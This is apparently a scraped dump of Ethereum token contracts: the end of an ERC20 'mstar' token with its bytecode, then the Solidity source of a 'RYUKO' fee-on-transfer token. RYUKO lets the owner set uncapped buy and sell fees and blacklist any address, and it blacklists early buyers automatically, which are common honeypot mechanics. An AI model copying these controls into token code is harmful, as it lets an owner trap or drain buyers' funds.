* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract mstar is BurnableToken { string public constant name = "Mobile-star"; string public constant symbol = "mstar"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600b81526020017f4d6f62696c652d7374617200000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f6d7374617200000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220c520fd53740b3d4412af429dc3bd02b5d682fc25f56c761d252832b52bb5b83164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,154
0x9b81e27894ed32c9b49d06d192d7b9a1288ae6e2
/* https://ryuko.io/ https://t.me/RyukoToken */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract RYUKO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ryuko";// string private constant _symbol = "RYU";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 11;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 11;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x31938daB76B245fc0c0f066ff6D2aB63428ca899);// address payable private _marketingAddress = payable(0x31938daB76B245fc0c0f066ff6D2aB63428ca899);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; // uint256 public _maxWalletSize = 30000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610542578063dd62ed3e14610558578063ea1644d51461059e578063f2fde38b146105be57600080fd5b8063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d578063c492f0461461052257600080fd5b80638f9a55c0116100d15780638f9a55c01461043b57806395d89b411461045157806398a5c3151461047d578063a2a957bb1461049d57600080fd5b80637d1db4a5146103e75780638da5cb5b146103fd5780638f70ccf71461041b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b5c565b6105de565b005b34801561020a57600080fd5b506040805180820190915260058152645279756b6f60d81b60208201525b6040516102359190611c8e565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611aac565b61067d565b6040519015158152602001610235565b34801561027a57600080fd5b5060155461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a6b565b610694565b3480156102f757600080fd5b506102bd60195481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060165461028e906001600160a01b031681565b34801561034957600080fd5b506101fc6103583660046119f8565b6106fd565b34801561036957600080fd5b506101fc610378366004611c28565b610748565b34801561038957600080fd5b506101fc610790565b34801561039e57600080fd5b506102bd6103ad3660046119f8565b6107db565b3480156103be57600080fd5b506101fc6107fd565b3480156103d357600080fd5b506101fc6103e2366004611c43565b610871565b3480156103f357600080fd5b506102bd60175481565b34801561040957600080fd5b506000546001600160a01b031661028e565b34801561042757600080fd5b506101fc610436366004611c28565b6108a0565b34801561044757600080fd5b506102bd60185481565b34801561045d57600080fd5b5060408051808201909152600381526252595560e81b6020820152610228565b34801561048957600080fd5b506101fc610498366004611c43565b6108ec565b3480156104a957600080fd5b506101fc6104b8366004611c5c565b61091b565b3480156104c957600080fd5b5061025e6104d8366004611aac565b610959565b3480156104e957600080fd5b5061025e6104f83660046119f8565b60116020526000908152604090205460ff1681565b34801561051957600080fd5b506101fc610966565b34801561052e57600080fd5b506101fc61053d366004611ad8565b6109ba565b34801561054e57600080fd5b506102bd60085481565b34801561056457600080fd5b506102bd610573366004611a32565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105aa57600080fd5b506101fc6105b9366004611c43565b610a5b565b3480156105ca57600080fd5b506101fc6105d93660046119f8565b610a8a565b6000546001600160a01b031633146106115760405162461bcd60e51b815260040161060890611ce3565b60405180910390fd5b60005b81518110156106795760016011600084848151811061063557610635611e2a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067181611df9565b915050610614565b5050565b600061068a338484610b74565b5060015b92915050565b60006106a1848484610c98565b6106f384336106ee85604051806060016040528060288152602001611e6c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611256565b610b74565b5060019392505050565b6000546001600160a01b031633146107275760405162461bcd60e51b815260040161060890611ce3565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107725760405162461bcd60e51b815260040161060890611ce3565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107c557506014546001600160a01b0316336001600160a01b0316145b6107ce57600080fd5b476107d881611290565b50565b6001600160a01b03811660009081526002602052604081205461068e90611315565b6000546001600160a01b031633146108275760405162461bcd60e51b815260040161060890611ce3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089b5760405162461bcd60e51b815260040161060890611ce3565b601755565b6000546001600160a01b031633146108ca5760405162461bcd60e51b815260040161060890611ce3565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109165760405162461bcd60e51b815260040161060890611ce3565b601955565b6000546001600160a01b031633146109455760405162461bcd60e51b815260040161060890611ce3565b600993909355600b91909155600a55600c55565b600061068a338484610c98565b6013546001600160a01b0316336001600160a01b0316148061099b57506014546001600160a01b0316336001600160a01b0316145b6109a457600080fd5b60006109af306107db565b90506107d881611399565b6000546001600160a01b031633146109e45760405162461bcd60e51b815260040161060890611ce3565b60005b82811015610a55578160056000868685818110610a0657610a06611e2a565b9050602002016020810190610a1b91906119f8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4d81611df9565b9150506109e7565b50505050565b6000546001600160a01b03163314610a855760405162461bcd60e51b815260040161060890611ce3565b601855565b6000546001600160a01b03163314610ab45760405162461bcd60e51b815260040161060890611ce3565b6001600160a01b038116610b195760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610608565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610608565b6001600160a01b038216610c375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610608565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b